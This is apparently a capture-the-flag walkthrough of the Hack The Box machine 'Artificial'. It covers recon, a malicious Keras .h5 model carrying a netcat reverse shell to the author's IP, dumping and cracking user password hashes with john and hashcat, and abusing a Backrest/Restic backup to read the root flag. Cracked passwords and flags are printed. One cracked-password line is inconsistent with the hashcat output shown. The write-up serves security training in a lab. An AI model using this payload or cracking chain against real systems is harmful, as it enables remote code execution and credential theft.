target Ip : 10.10.11.74
┌──(kali㉿kali)-[~]
└─$ ping 10.10.11.74
PING 10.10.11.74 (10.10.11.74) 56(84) bytes of data.
64 bytes from 10.10.11.74: icmp_seq=1 ttl=63 time=1652 ms
64 bytes from 10.10.11.74: icmp_seq=2 ttl=63 time=641 ms
64 bytes from 10.10.11.74: icmp_seq=3 ttl=63 time=365 ms
^C
--- 10.10.11.74 ping statistics ---
4 packets transmitted, 3 received, 25% packet loss, time 3176ms
rtt min/avg/max/mdev = 364.530/885.924/1652.003/553.352 ms, pipe 2
┌──(kali㉿kali)-[~]
└─$ nmap -sCV 10.10.11.74
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-17 08:43 EDT
Nmap scan report for 10.10.11.74
Host is up (0.64s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
| 256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_ 256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 179.11 seconds
! http-title: Did not follow redirect to http://artificial.htb/
I need to add the domain http://artificial.htb/ to the /etc/hosts
┌──(kali㉿kali)-[~]
└─$ sudo nano /etc/hosts
[sudo] password for kali:

I accessed the IP in my browser since port 80 was open, indicating an HTTP service was running
┌──(kali㉿kali)-[~]
└─$ firefox 10.10.11.74 &
[1] 87842

I registered on the website and then login and get to the dashboard

So there was an example code given on the machine before registering
the example code :
import numpy as np
import pandas as pd
import tensorflow as tf
from tensorflow import keras
from tensorflow.keras import layers
np.random.seed(42)
hours = np.arange(0, 24 * 7)
profits = np.random.rand(len(hours)) * 100
data = pd.DataFrame({
'hour': hours,
'profit': profits
})
X = data['hour'].values.reshape(-1, 1)
y = data['profit'].values
model = keras.Sequential([
layers.Dense(64, activation='relu', input_shape=(1,)),
layers.Dense(64, activation='relu'),
layers.Dense(1)
])
model.compile(optimizer='adam', loss='mean_squared_error')
model.fit(X, y, epochs=100, verbose=1)
model.save('profits_model.h5')
I decided to train this code and upload its .h5 file to observe how the website handles the upload. Before attempting to gain a shell, I'm first analyzing the website's behavior and functionality.
┌──(work)─(kali㉿kali)-[~/Artificial]
└─$ nano example_code.py

the requirements provided
This specific version of tensorflow-cpu==2.13.1 is not compatible with Python 3.13. To resolve this, I have two options:
- Install a compatible Python version that supports
tensorflow-cpu==2.13.1. - Use the provided Dockerfile to build and run the environment inside a container.
Docker Installation commands for kali linux:
sudo apt update
sudo apt install -y docker.io
sudo systemctl enable docker --now
docker
sudo usermod -aG docker $USER
echo "deb [arch=amd64 signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/debian bookworm stable" | \
sudo tee /etc/apt/sources.list.d/docker.list
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io
After installing Docker on my machine, I set up the Docker container using the following commands :
┌──(work)─(kali㉿kali)-[~/Artificial]
└─$ sudo docker build -t my-env .
[+] Building 231.9s (8/8) FINISHED docker:default
=> [internal] load build definition from Dockerfile 0.0s
=> => transferring dockerfile: 496B 0.0s
=> [internal] load metadata for docker.io/library/python:3.8-slim 4.1s
=> [internal] load .dockerignore 0.0s
=> => transferring context: 2B 0.0s
=> [1/4] FROM docker.io/library/python:3.8-slim@sha256:1d52838af602b4b5a831beb13a0e4d073280665ea7be7f69ce2382f29c5a613f 25.0s
=> => resolve docker.io/library/python:3.8-slim@sha256:1d52838af602b4b5a831beb13a0e4d073280665ea7be7f69ce2382f29c5a613f 0.0s
=> => sha256:314bc2fb0714b7807bf5699c98f0c73817e579799f2d91567ab7e9510f5601a5 1.75kB / 1.75kB 0.0s
=> => sha256:b5f62925bd0f63f48cc8acd5e87d0c3a07e2f229cd2fb0a9586e68ed17f45ee3 5.25kB / 5.25kB 0.0s
=> => sha256:302e3ee498053a7b5332ac79e8efebec16e900289fc1ecd1c754ce8fa047fcab 29.13MB / 29.13MB 16.2s
=> => sha256:030d7bdc20a63e3d22192b292d006a69fa3333949f536d62865d1bd0506685cc 3.51MB / 3.51MB 23.6s
=> => sha256:a3f1dfe736c5f959143f23d75ab522a60be2da902efac236f4fb2a153cc14a5d 14.53MB / 14.53MB 10.8s
=> => sha256:1d52838af602b4b5a831beb13a0e4d073280665ea7be7f69ce2382f29c5a613f 10.41kB / 10.41kB 0.0s
=> => sha256:3971691a363796c39467aae4cdce6ef773273fe6bfc67154d01e1b589befb912 248B / 248B 11.6s
=> => extracting sha256:302e3ee498053a7b5332ac79e8efebec16e900289fc1ecd1c754ce8fa047fcab 1.8s
=> => extracting sha256:030d7bdc20a63e3d22192b292d006a69fa3333949f536d62865d1bd0506685cc 0.2s
=> => extracting sha256:a3f1dfe736c5f959143f23d75ab522a60be2da902efac236f4fb2a153cc14a5d 0.9s
=> => extracting sha256:3971691a363796c39467aae4cdce6ef773273fe6bfc67154d01e1b589befb912 0.0s
=> [2/4] WORKDIR /code 0.3s
=> [3/4] RUN apt-get update && apt-get install -y curl && curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d124 119.0s
=> [4/4] RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl 72.4s
=> exporting to image 11.1s
=> => exporting layers 11.1s
=> => writing image sha256:a0da0861a775681557f68c633bb910257621f7bbb8d5c740ee7494fd2ddb5180 0.0s
=> => naming to docker.io/library/my-env 0.0s
┌──(work)─(kali㉿kali)-[~/Artificial]
└─$ sudo docker run -it my-env
root@7ac4a934bfac:/code
First, I needed to transfer example_code.py into the Docker container to use it within the containerized environment.
┌──(kali㉿kali)-[~/Artificial]
└─$ sudo docker cp example_code.py 7ac4a934bfac:/code/
Successfully copied 2.56kB to 7ac4a934bfac:/code/
I trained the model using example_code.py inside the Docker environment to ensure compatibility and isolation.
But first i have to install the requirements:
root@7ac4a934bfac:/code# pip install pandas tensorflow
Collecting pandas
Downloading pandas-2.0.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (12.4 MB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 12.4/12.4 MB 4.3 MB/s eta 0:00:00
Collecting tensorflow
Downloading tensorflow-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (479.6 MB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 479.6/479.6 MB 2.4 MB/s eta 0:00:00
Requirement already satisfied: numpy>=1.20.3 in /usr/local/lib/python3.8/site-packages (from pandas) (1.24.3)
Collecting python-dateutil>=2.8.2
Downloading python_dateutil-2.9.0.post0-py2.py3-none-any.whl (229 kB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 229.9/229.9 kB 6.0 MB/s eta 0:00:00
Collecting tzdata>=2022.1
Downloading tzdata-2025.2-py2.py3-none-any.whl (347 kB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 347.8/347.8 kB 3.4 MB/s eta 0:00:00
Collecting pytz>=2020.1
Downloading pytz-2025.2-py2.py3-none-any.whl (509 kB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 509.2/509.2 kB 7.3 MB/s eta 0:00:00
root@7ac4a934bfac:/code# python example_code.py
2025-08-02 16:49:46.572642: I tensorflow/tsl/cuda/cudart_stub.cc:28] Could not find cuda drivers on your machine, GPU will not be used.
2025-08-02 16:49:46.642854: I tensorflow/tsl/cuda/cudart_stub.cc:28] Could not find cuda drivers on your machine, GPU will not be used.
2025-08-02 16:49:46.643726: I tensorflow/core/platform/cpu_feature_guard.cc:182] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.
To enable the following instructions: FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.
2025-08-02 16:49:47.779978: W tensorflow/compiler/tf2tensorrt/utils/py_utils.cc:38] TF-TRT Warning: Could not find TensorRT
Epoch 1/100
6/6 [==============================] - 1s 4ms/step - loss: 2657.5759
Epoch 2/100
6/6 [==============================] - 0s 2ms/step - loss: 1855.1747
Epoch 3/100
6/6 [==============================] - 0s 2ms/step - loss: 1476.2571
Epoch 4/100
6/6 [==============================] - 0s 1ms/step - loss: 1402.2446
Epoch 5/100
6/6 [==============================] - 0s 2ms/step - loss: 1435.5803
Epoch 6/100
6/6 [==============================] - 0s 1ms/step - loss: 1435.2631
Epoch 7/100
6/6 [==============================] - 0s 1ms/step - loss: 1409.1533
.
.
.
Epoch 98/100
6/6 [==============================] - 0s 1ms/step - loss: 1290.1676
Epoch 99/100
6/6 [==============================] - 0s 1ms/step - loss: 1267.7010
Epoch 100/100
6/6 [==============================] - 0s 1ms/step - loss: 1267.7042
/usr/local/lib/python3.8/site-packages/keras/src/engine/training.py:3000: UserWarning: You are saving your model as an HDF5 file via `model.save()`. This file format is considered legacy. We recommend using instead the native Keras format, e.g. `model.save('my_model.keras')`.
saving_api.save_model(
root@7ac4a934bfac:/code# ls
example_code.py profits_model.h5 tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Now i have to sent “profits_model.h5” back to my machine from this docker environment
┌──(kali㉿kali)-[~/Artificial]
└─$ sudo docker ps
[sudo] password for kali:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
7ac4a934bfac my-env "/bin/bash" 19 minutes ago Up 19 minutes cranky_noyce
┌──(kali㉿kali)-[~/Artificial]
└─$ sudo docker cp 7ac4a934bfac:/code/profits_model.h5 ~/Artificial
Successfully copied 85.5kB to /home/kali/Artificial
┌──(kali㉿kali)-[~/Artificial]
└─$ la
Dockerfile example_code.py profits_model.h5

After clicking on "View Predictions", I was redirected to a new page displaying the prediction results.

By viewing the page source (Ctrl + U), I discovered that the server runs the uploaded model directly. This suggests a potential vulnerability — I may be able to upload a malicious .h5 file and possibly gain a reverse shell or execute arbitrary code.

I researched potential exploits and found a relevant one documented here:
TensorFlow Remote Code Execution via Malicious Model

The python code i have used:
import tensorflow as tf
def exploit(x):
import os
os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.37 4444 >/tmp/f")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")
I transferred the exploit.py file to my Docker environment and successfully compiled it there
root@7ac4a934bfac:/code
example_code.py exploit.py profits_model.h5 tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
root@7ac4a934bfac:/code
2025-08-02 17:08:47.392158: I tensorflow/tsl/cuda/cudart_stub.cc:28] Could not find cuda drivers on your machine, GPU will not be used.
2025-08-02 17:08:47.451761: I tensorflow/tsl/cuda/cudart_stub.cc:28] Could not find cuda drivers on your machine, GPU will not be used.
2025-08-02 17:08:47.452523: I tensorflow/core/platform/cpu_feature_guard.cc:182] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.
To enable the following instructions: FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.
2025-08-02 17:08:48.486281: W tensorflow/compiler/tf2tensorrt/utils/py_utils.cc:38] TF-TRT Warning: Could not find TensorRT
sh: 1: nc: not found
/usr/local/lib/python3.8/site-packages/keras/src/engine/training.py:3000: UserWarning: You are saving your model as an HDF5 file via `model.save()`. This file format is considered legacy. We recommend using instead the native Keras format, e.g. `model.save('my_model.keras')`.
saving_api.save_model(
root@7ac4a934bfac:/code
example_code.py exploit.h5 exploit.py profits_model.h5 tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
root@7ac4a934bfac:/code
I then transferred the exploit.h5 file back to my local machine and set up a listener on port 4444 before uploading the model.
Note: The reverse shell is triggered—and the listener starts receiving a connection—
only after clicking the "View Prediction" button

Boom — after clicking "View Prediction", the reverse shell successfully connected, and I gained a shell on the target system.
┌──(kali㉿kali)-[~/Artificial]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.37] from (UNKNOWN) [10.10.11.74] 34092
/bin/sh: 0: can't access tty; job control turned off
$
made it stable :
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
app@artificial:~/app$ ^Z
zsh: suspended nc -lvnp 4444
┌──(kali㉿kali)-[~/Artificial]
└─$ stty raw -echo; fg
[1] + continued nc -lvnp 4444
app@artificial:~/app$
I looked around and found a database i.e. user.db

app@artificial:~/app/instance$ sqlite3 users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
model user
sqlite> .schema user
CREATE TABLE user (
id INTEGER NOT NULL,
username VARCHAR(100) NOT NULL,
email VARCHAR(120) NOT NULL,
password VARCHAR(200) NOT NULL,
PRIMARY KEY (id),
UNIQUE (username),
UNIQUE (email)
);
sqlite> SELECT * from user;
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
6|test|test2@test.com|5416d7cd6ef195a0f7622a9c56b55e84
7|b3ta-blocker|spam@example.com|81dc9bdb52d04dc20036dbd8313ed055
8|user|user@spam.com|81dc9bdb52d04dc20036dbd8313ed055
sqlite>
i found different users and there hashes

Gotta crack the hash for user gael — then switch over.
┌──(work)─(kali㉿kali)-[~/Artificial]
└─$ echo 'c99175974b6e192936d97224638a34f8' > gael.hash
┌──(work)─(kali㉿kali)-[~/Artificial]
└─$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt gael.hash
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
No password hashes left to crack (see FAQ)
┌──(work)─(kali㉿kali)-[~/Artificial]
└─$ john --show --format=raw-md5 gael.hash
?:mattp005numbertwo
1 password hash cracked, 0 left
Cracked it — password for gael is mattp005numbertwo.
@artificial:/home$ su gael
Password:
gael@artificial:/home$
gael@artificial:/home$ ls
app gael
gael@artificial:/home$ cd
gael@artificial:~$ ls
user.txt
gael@artificial:~$ cat user.txt
927fecec7fada68c4f477ae6b3d956c3
User flag : 927fecec7fada68c4f477ae6b3d956c3
gael@artificial:/$ cd /root
bash: cd: /root: Permission denied
gael@artificial:/$ ls -lah /root
ls: cannot open directory '/root': Permission denied
Clearly can’t access the /root
so i then get the linpeas.sh by setting up a python server on from y hacking machine

Found some active ports, but 9898 was hidden from Nmap — setting up local port forwarding to see what’s running behind it.

syntax :
ssh -L <local_port>:<target_host>:<target_port> <ssh_user>@<ssh_gateway>
┌──(kali㉿kali)-[~/Artificial]
└─$ ssh -L 9898:127.0.0.1:9898 gael@10.10.11.74
gael@10.10.11.74's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sat 02 Aug 2025 05:59:55 PM UTC
System load: 0.0
Usage of /: 63.1% of 7.53GB
Memory usage: 37%
Swap usage: 0%
Processes: 297
Users logged in: 1
IPv4 address for eth0: 10.10.11.74
IPv6 address for eth0: dead:beef::250:56ff:feb9:52f8
=> There is 1 zombie process.
Expanded Security Maintenance for Infrastructure is not enabled.
0 updates can be applied immediately.
Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sat Aug 2 17:59:56 2025 from 10.10.16.37
gael@artificial:~$

Gael’s creds didn’t work here,
Looked into Backrest backup
gael@artificial:/var/backups$ ls -laZ
total 51228
drwxr-xr-x 2 root root ? 4096 Aug 2 19:16 .
drwxr-xr-x 13 root root ? 4096 Jun 2 07:38 ..
-rw-r--r-- 1 root root ? 38602 Jun 9 10:48 apt.extended_states.0
-rw-r--r-- 1 root root ? 4253 Jun 9 09:02 apt.extended_states.1.gz
-rw-r--r-- 1 root root ? 4206 Jun 2 07:42 apt.extended_states.2.gz
-rw-r--r-- 1 root root ? 4190 May 27 13:07 apt.extended_states.3.gz
-rw-r--r-- 1 root root ? 4383 Oct 27 2024 apt.extended_states.4.gz
-rw-r--r-- 1 root root ? 4379 Oct 19 2024 apt.extended_states.5.gz
-rw-r--r-- 1 root root ? 4367 Oct 14 2024 apt.extended_states.6.gz
-rw-r----- 1 root sysadm ? 52357120 Mar 4 22:19 backrest_backup.tar.gz
Didn’t have permission to extract the file in place, so I extracted it in the /tmp directory instead.
l@artificial:/var/backups$ tar -xf /var/backups/backrest_backup.tar.gz -C /tmp
gael@artificial:/var/backups$
it worked !
gael@artificial:/tmp$ cd backrest/.config/backrest/
gael@artificial:/tmp/backrest/.config/backrest$ ls
config.json
gael@artificial:/tmp/backrest/.config/backrest$ cat config.json
{
"modno": 2,
"version": 4,
"instance": "Artificial",
"auth": {
"disabled": false,
"users": [
{
"name": "backrest_root",
"passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
}
]
}
}
gael@artificial:/tmp/backrest/.config/backrest$
username : backrest_root Bcrypt : JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP
┌──(kali㉿kali)-[~]
└─$ echo 'JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP' | base64 -d | tee roothash
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO
┌──(kali㉿kali)-[~]
└─$ hashcat -a 0 -m 3200 -w 3 --force roothash /usr/share/wordlists/rockyou.txt
┌──(kali㉿kali)-[~]
└─$ hashcat -m 3200 roothash --show
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO:!@
username : backrest_root password : !@#$%^

I then added a repository seems like cron

Used Restic CLI commands ****to initialize a repo in /tmp, restored the /root backup, then dumped root.txt from the shell to capture the root flag.

Commands :
init --repo /tmp
backup /root
snapshots
ls latest
dump latest /root/root.txt
62a29dad99d43bf05887278002d7133f